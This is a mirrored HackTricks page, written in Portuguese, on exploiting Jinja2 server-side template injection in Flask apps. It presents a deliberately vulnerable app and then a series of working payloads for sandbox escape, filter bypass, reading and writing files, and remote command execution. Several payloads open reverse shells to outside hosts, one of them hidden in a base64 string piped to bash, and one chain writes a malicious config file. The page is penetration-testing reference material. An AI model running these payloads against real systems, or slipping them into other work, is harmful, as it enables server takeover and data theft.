mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-24 12:03:37 +00:00
369 lines
16 KiB
Markdown
369 lines
16 KiB
Markdown
## **Laboratório**
|
|
|
|
### **Explicação**
|
|
|
|
O SSTI (Server-Side Template Injection) é uma vulnerabilidade que ocorre quando um aplicativo da web permite que o usuário insira modelos de servidor que são executados sem validação adequada. Isso pode permitir que um invasor execute código arbitrário no servidor.
|
|
|
|
O Jinja2 é um mecanismo de modelo popular usado em muitos aplicativos da web Python. Ele é usado para renderizar modelos de servidor e pode ser vulnerável a SSTI se não for usado corretamente.
|
|
|
|
### **Exemplo**
|
|
|
|
Para demonstrar como o SSTI pode ser explorado em um aplicativo da web que usa o Jinja2, vamos usar o seguinte exemplo:
|
|
|
|
```python
|
|
from flask import Flask, request, render_template_string
|
|
|
|
app = Flask(__name__)
|
|
|
|
@app.route('/')
|
|
def index():
|
|
name = request.args.get('name', 'World')
|
|
template = 'Hello {{name}}!'
|
|
return render_template_string(template, name=name)
|
|
|
|
if __name__ == '__main__':
|
|
app.run()
|
|
```
|
|
|
|
Este aplicativo da web usa o Flask e o Jinja2 para renderizar um modelo de servidor simples que exibe uma mensagem de saudação personalizada. O nome é passado como um parâmetro de consulta na URL.
|
|
|
|
No entanto, este aplicativo da web é vulnerável a SSTI porque não valida adequadamente o modelo de servidor fornecido pelo usuário. Isso significa que um invasor pode injetar código arbitrário no modelo de servidor e executá-lo no servidor.
|
|
|
|
Por exemplo, um invasor pode injetar o seguinte modelo de servidor:
|
|
|
|
```
|
|
{{config.items()}}
|
|
```
|
|
|
|
Isso exibirá todas as configurações do aplicativo da web, incluindo informações confidenciais, como chaves secretas e senhas.
|
|
|
|
### **Exploração**
|
|
|
|
Para explorar essa vulnerabilidade, podemos usar o modelo de servidor injetado para exibir informações confidenciais ou executar código arbitrário no servidor.
|
|
|
|
Por exemplo, podemos injetar o seguinte modelo de servidor:
|
|
|
|
```
|
|
{% for c in [].__class__.__base__.__subclasses__() %}
|
|
{% if c.__name__ == 'catch_warnings' %}
|
|
{% for b in c.__init__.__globals__.values() %}
|
|
{% if b.__class__ == {}.__class__ %}
|
|
{% if 'eval' in b.keys() %}
|
|
{{ b['eval']('__import__("os").popen("id").read()') }}
|
|
{% endif %}
|
|
{% endif %}
|
|
{% endfor %}
|
|
{% endif %}
|
|
{% endfor %}
|
|
```
|
|
|
|
Este modelo de servidor usa a classe `catch_warnings` para acessar o dicionário global do Python e executar o comando `id` do sistema operacional. Isso exibirá o ID do usuário atual no servidor.
|
|
|
|
Outro exemplo de exploração é injetar o seguinte modelo de servidor:
|
|
|
|
```
|
|
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}
|
|
```
|
|
|
|
Este modelo de servidor usa a classe `file` para ler o arquivo `/etc/passwd` no servidor e exibi-lo na página da web.
|
|
|
|
### **Prevenção**
|
|
|
|
Para evitar a vulnerabilidade SSTI, é importante validar adequadamente todos os modelos de servidor fornecidos pelo usuário. Isso pode ser feito usando uma biblioteca de modelo segura, como o MarkupSafe, que é usado pelo Jinja2.
|
|
|
|
Além disso, é importante limitar o acesso do usuário a informações confidenciais, como chaves secretas e senhas. Isso pode ser feito usando um modelo de servidor separado para exibir informações confidenciais e limitando o acesso a esse modelo de servidor apenas a usuários autorizados.
|
|
```python
|
|
from flask import Flask, request, render_template_string
|
|
|
|
app = Flask(__name__)
|
|
|
|
@app.route("/")
|
|
def home():
|
|
if request.args.get('c'):
|
|
return render_template_string(request.args.get('c'))
|
|
else:
|
|
return "Hello, send someting inside the param 'c'!"
|
|
|
|
if __name__ == "__main__":
|
|
app.run()
|
|
```
|
|
## **Misc**
|
|
|
|
### **Declaração de Depuração**
|
|
|
|
Se a Extensão de Depuração estiver habilitada, uma tag `debug` estará disponível para despejar o contexto atual, bem como os filtros e testes disponíveis. Isso é útil para ver o que está disponível para uso no modelo sem configurar um depurador.
|
|
```python
|
|
<pre>
|
|
|
|
{% raw %}
|
|
{% debug %}
|
|
{% endraw %}
|
|
|
|
|
|
|
|
|
|
|
|
</pre>
|
|
```
|
|
### **Despejar todas as variáveis de configuração**
|
|
|
|
Source: [https://jinja.palletsprojects.com/en/2.11.x/templates/#debug-statement](https://jinja.palletsprojects.com/en/2.11.x/templates/#debug-statement)
|
|
|
|
### **Dump all config variables**
|
|
```python
|
|
{{ config }} #In these object you can find all the configured env variables
|
|
|
|
|
|
{% raw %}
|
|
{% for key, value in config.items() %}
|
|
<dt>{{ key|e }}</dt>
|
|
<dd>{{ value|e }}</dd>
|
|
{% endfor %}
|
|
{% endraw %}
|
|
|
|
|
|
|
|
|
|
```
|
|
## **Injeção Jinja**
|
|
|
|
Em primeiro lugar, em uma injeção Jinja, você precisa **encontrar uma maneira de escapar do sandbox** e recuperar o acesso ao fluxo de execução regular do Python. Para fazer isso, você precisa **abusar de objetos** que são **do ambiente não-sandboxado, mas são acessíveis a partir do sandbox**.
|
|
|
|
### Acessando Objetos Globais
|
|
|
|
Por exemplo, no código `render_template("hello.html", username=username, email=email)` os objetos username e email **vêm do ambiente Python não-sandboxado** e serão **acessíveis** dentro do **ambiente sandbox**.\
|
|
\*\*\*\*Além disso, existem outros objetos que serão **sempre acessíveis a partir do ambiente sandbox**, estes são:
|
|
```
|
|
[]
|
|
''
|
|
()
|
|
dict
|
|
config
|
|
request
|
|
```
|
|
### Recuperando \<class 'object'>
|
|
|
|
Em seguida, a partir desses objetos, precisamos chegar à classe: **`<class 'object'>`** para tentar **recuperar** as **classes** definidas. Isso ocorre porque a partir desse objeto podemos chamar o método **`__subclasses__`** e **acessar todas as classes do ambiente python não isolado**.
|
|
|
|
Para acessar essa **classe de objeto**, você precisa **acessar um objeto de classe** e, em seguida, acessar **`__base__`**, **`__mro__()[-1]`** ou `.`**`mro()[-1]`**. E então, **depois** de alcançar essa **classe de objeto**, **chamamos** **`__subclasses__()`**.
|
|
|
|
Verifique esses exemplos:
|
|
```python
|
|
# To access a class object
|
|
[].__class__
|
|
''.__class__
|
|
()["__class__"] # You can also access attributes like this
|
|
request["__class__"]
|
|
config.__class__
|
|
dict #It's already a class
|
|
|
|
# From a class to access the class "object".
|
|
## "dict" used as example from the previous list:
|
|
dict.__base__
|
|
dict["__base__"]
|
|
dict.mro()[-1]
|
|
dict.__mro__[-1]
|
|
(dict|attr("__mro__"))[-1]
|
|
(dict|attr("\x5f\x5fmro\x5f\x5f"))[-1]
|
|
|
|
# From the "object" class call __subclasses__()
|
|
{{ dict.__base__.__subclasses__() }}
|
|
{{ dict.mro()[-1].__subclasses__() }}
|
|
{{ (dict.mro()[-1]|attr("\x5f\x5fsubclasses\x5f\x5f"))() }}
|
|
|
|
{% raw %}
|
|
{% with a = dict.mro()[-1].__subclasses__() %} {{ a }} {% endwith %}
|
|
|
|
# Other examples using these ways
|
|
{{ ().__class__.__base__.__subclasses__() }}
|
|
{{ [].__class__.__mro__[-1].__subclasses__() }}
|
|
{{ ((""|attr("__class__")|attr("__mro__"))[-1]|attr("__subclasses__"))() }}
|
|
{{ request.__class__.mro()[-1].__subclasses__() }}
|
|
{% with a = config.__class__.mro()[-1].__subclasses__() %} {{ a }} {% endwith %}
|
|
{% endraw %}
|
|
|
|
|
|
|
|
|
|
|
|
|
|
# Not sure if this will work, but I saw it somewhere
|
|
{{ [].class.base.subclasses() }}
|
|
{{ ''.class.mro()[1].subclasses() }}
|
|
```
|
|
### Escapando do RCE
|
|
|
|
Tendo recuperado `<class 'object'>` e chamado `__subclasses__`, agora podemos usar essas classes para ler e escrever arquivos e executar código.
|
|
|
|
A chamada para `__subclasses__` nos deu a oportunidade de acessar centenas de novas funções, ficaremos felizes apenas acessando a **classe de arquivo** para **ler/escrever arquivos** ou qualquer classe com acesso a uma classe que **permite executar comandos** (como `os`).
|
|
|
|
**Ler/Escrever arquivo remoto**
|
|
```python
|
|
# ''.__class__.__mro__[1].__subclasses__()[40] = File class
|
|
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read() }}
|
|
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/var/www/html/myflaskapp/hello.txt', 'w').write('Hello here !') }}
|
|
```
|
|
**RCE (Execução Remota de Código)**
|
|
|
|
A Execução Remota de Código é uma vulnerabilidade que permite que um invasor execute comandos arbitrários em um sistema remoto. Isso pode ser feito explorando vulnerabilidades em aplicativos da web, servidores de banco de dados, sistemas operacionais e outros softwares. Quando um invasor explora com sucesso uma vulnerabilidade de RCE, ele pode executar comandos no sistema remoto como se estivesse fisicamente presente no sistema. Isso pode levar a uma série de consequências graves, incluindo o roubo de dados, a instalação de malware e o controle total do sistema remoto.
|
|
```python
|
|
# The class 396 is the class <class 'subprocess.Popen'>
|
|
{{''.__class__.mro()[1].__subclasses__()[396]('cat flag.txt',shell=True,stdout=-1).communicate()[0].strip()}}
|
|
|
|
# Calling os.popen without guessing the index of the class
|
|
|
|
{% raw %}
|
|
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("ls").read()}}{%endif%}{% endfor %}
|
|
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"ip\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/cat\", \"flag.txt\"]);'").read().zfill(417)}}{%endif%}{% endfor %}
|
|
|
|
## Passing the cmd line in a GET param
|
|
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen(request.args.input).read()}}{%endif%}{%endfor%}
|
|
{% endraw %}
|
|
|
|
|
|
```
|
|
Para aprender sobre **mais classes** que você pode usar para **escapar**, você pode **verificar**:
|
|
|
|
{% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %}
|
|
[bypass-python-sandboxes](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/)
|
|
{% endcontent-ref %}
|
|
|
|
### Bypasses de filtro
|
|
|
|
#### Bypasses comuns
|
|
|
|
Esses bypasses nos permitirão **acessar** os **atributos** dos objetos **sem usar alguns caracteres**.\
|
|
Já vimos alguns desses bypasses nos exemplos anteriores, mas vamos resumi-los aqui:
|
|
```bash
|
|
# Without quotes, _, [, ]
|
|
## Basic ones
|
|
request.__class__
|
|
request["__class__"]
|
|
request['\x5f\x5fclass\x5f\x5f']
|
|
request|attr("__class__")
|
|
request|attr(["_"*2, "class", "_"*2]|join) # Join trick
|
|
|
|
## Using request object options
|
|
request|attr(request.headers.c) #Send a header like "c: __class__" (any trick using get params can be used with headers also)
|
|
request|attr(request.args.c) #Send a param like "?c=__class__
|
|
request|attr(request.query_string[2:16].decode() #Send a param like "?c=__class__
|
|
request|attr([request.args.usc*2,request.args.class,request.args.usc*2]|join) # Join list to string
|
|
http://localhost:5000/?c={{request|attr(request.args.f|format(request.args.a,request.args.a,request.args.a,request.args.a))}}&f=%s%sclass%s%s&a=_ #Formatting the string from get params
|
|
|
|
## Lists without "[" and "]"
|
|
http://localhost:5000/?c={{request|attr(request.args.getlist(request.args.l)|join)}}&l=a&a=_&a=_&a=class&a=_&a=_
|
|
|
|
# Using with
|
|
|
|
{% raw %}
|
|
{% with a = request["application"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("echo -n YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC40LzkwMDEgMD4mMQ== | base64 -d | bash")["read"]() %} a {% endwith %}
|
|
{% endraw %}
|
|
|
|
|
|
|
|
|
|
```
|
|
* [**Volte aqui para mais opções de acesso a um objeto global**](jinja2-ssti.md#accessing-global-objects)
|
|
* [**Volte aqui para mais opções de acesso à classe de objeto**](jinja2-ssti.md#recovering-less-than-class-object-greater-than)
|
|
* [**Leia isso para obter RCE sem a classe de objeto**](jinja2-ssti.md#jinja-injection-without-less-than-class-object-greater-than)
|
|
|
|
**Evitando a codificação HTML**
|
|
|
|
Por padrão, o Flask codifica em HTML tudo o que está dentro de um modelo por motivos de segurança:
|
|
```python
|
|
{{'<script>alert(1);</script>'}}
|
|
#will be
|
|
<script>alert(1);</script>
|
|
```
|
|
O filtro `safe` nos permite injetar JavaScript e HTML na página **sem** que ele seja **codificado em HTML**, como neste exemplo:
|
|
```python
|
|
{{'<script>alert(1);</script>'|safe}}
|
|
#will be
|
|
<script>alert(1);</script>
|
|
```
|
|
**RCE escrevendo um arquivo de configuração malicioso.**
|
|
```python
|
|
# evil config
|
|
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/tmp/evilconfig.cfg', 'w').write('from subprocess import check_output\n\nRUNCMD = check_output\n') }}
|
|
|
|
# load the evil config
|
|
{{ config.from_pyfile('/tmp/evilconfig.cfg') }}
|
|
|
|
# connect to evil host
|
|
{{ config['RUNCMD']('/bin/bash -c "/bin/bash -i >& /dev/tcp/x.x.x.x/8000 0>&1"',shell=True) }}
|
|
```
|
|
## Sem vários caracteres
|
|
|
|
Sem **`{{`** **`.`** **`[`** **`]`** **`}}`** **`_`**
|
|
```python
|
|
{% raw %}
|
|
{%with a=request|attr("application")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fbuiltins\x5f\x5f")|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('ls${IFS}-l')|attr('read')()%}{%print(a)%}{%endwith%}
|
|
{% endraw %}
|
|
|
|
|
|
|
|
```
|
|
## Injeção Jinja sem **\<class 'object'>**
|
|
|
|
Dos [**objetos globais**](jinja2-ssti.md#accessing-global-objects), há outra maneira de obter **RCE sem usar essa classe.**\
|
|
Se você conseguir chegar a qualquer **função** desses objetos globais, poderá acessar **`__globals__.__builtins__`** e, a partir daí, o **RCE** é muito **simples**.
|
|
|
|
Você pode **encontrar funções** nos objetos **`request`**, **`config`** e em qualquer **outro** objeto **global** interessante ao qual você tenha acesso com:
|
|
```bash
|
|
{{ request.__class__.__dict__ }}
|
|
- application
|
|
- _load_form_data
|
|
- on_json_loading_failed
|
|
|
|
{{ config.__class__.__dict__ }}
|
|
- __init__
|
|
- from_envvar
|
|
- from_pyfile
|
|
- from_object
|
|
- from_file
|
|
- from_json
|
|
- from_mapping
|
|
- get_namespace
|
|
- __repr__
|
|
|
|
# You can iterate through children objects to find more
|
|
```
|
|
Depois de encontrar algumas funções, você pode recuperar os builtins com:
|
|
```python
|
|
# Read file
|
|
{{ request.__class__._load_form_data.__globals__.__builtins__.open("/etc/passwd").read() }}
|
|
|
|
# RCE
|
|
{{ config.__class__.from_envvar.__globals__.__builtins__.__import__("os").popen("ls").read() }}
|
|
{{ config.__class__.from_envvar["__globals__"]["__builtins__"]["__import__"]("os").popen("ls").read() }}
|
|
{{ (config|attr("__class__")).from_envvar["__globals__"]["__builtins__"]["__import__"]("os").popen("ls").read() }}
|
|
|
|
{% raw %}
|
|
{% with a = request["application"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("ls")["read"]() %} {{ a }} {% endwith %}
|
|
{% endraw %}
|
|
|
|
## Extra
|
|
## The global from config have a access to a function called import_string
|
|
## with this function you don't need to access the builtins
|
|
{{ config.__class__.from_envvar.__globals__.import_string("os").popen("ls").read() }}
|
|
|
|
# All the bypasses seen in the previous sections are also valid
|
|
```
|
|
## Referências
|
|
|
|
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2)
|
|
* Verifique o [truque de atributo para contornar caracteres na lista negra aqui](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/#python3).
|
|
* [https://twitter.com/SecGus/status/1198976764351066113](https://twitter.com/SecGus/status/1198976764351066113)
|
|
* [https://hackmd.io/@Chivato/HyWsJ31dI](https://hackmd.io/@Chivato/HyWsJ31dI)
|
|
|
|
<details>
|
|
|
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
|
|
|
* Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
|
|
|
</details>
|